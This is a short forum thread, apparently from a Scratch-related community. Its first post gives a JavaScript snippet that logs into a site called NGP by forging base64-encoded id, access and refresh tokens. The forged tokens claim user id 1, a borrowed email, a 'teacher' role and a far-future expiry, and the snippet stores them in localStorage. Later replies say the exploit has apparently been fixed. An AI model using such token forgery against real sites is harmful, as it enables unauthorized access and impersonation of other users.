Heathercat123

To log into NGP (ng.scr.chipmunk.land), run this Javascript code:


id_token = {
"sub": 1,
"email": "info@gatesfoundation.org",
"given_name": "Rick",
"family_name": "Astley",
"picture": "<a rel='nofollow' href='<a rel="nofollow" href="https://trampoline.turbowarp.org/avatars/1">https://trampoline.turbowarp.org/avatars/1</a>'><a rel="nofollow" href="https://trampoline.turbowarp.org/avatars/1">https://trampoline.turbowarp.org/avatars/1</a></a>",
"ux_types": ["teacher"]
}

access_token = {
"exp": 10000000000
}

refresh_token = access_token



function convert(x) {
return 'meow.' + btoa(JSON.stringify(x))
}

auth = {
'id_token': convert(id_token),
'access_token': convert(access_token),
'refresh_token': convert(refresh_token)
}

localStorage.setItem("auth", JSON.stringify(auth));



Note that everything is read-only and pretty much nothing works.

test

test

edit: renamed your topic sorry

chipmunkmc

test wrote:

test

edit: renamed your topic sorry

Hopefully this exploit has been fixed now; I changed the subject back to a more descriptive one.

CuteRobot22

I don't think this works anymore

Heathercat123

CuteRobot22 wrote:

I don't think this works anymore

Indeed, it doesn't.

Chipmunk, if you ever see this, modify config.js so that /api/ calls go to either https://r2.scr.chipmunk.land/ngapi/ or set it to /ngapi/ and proxy that to APIClone.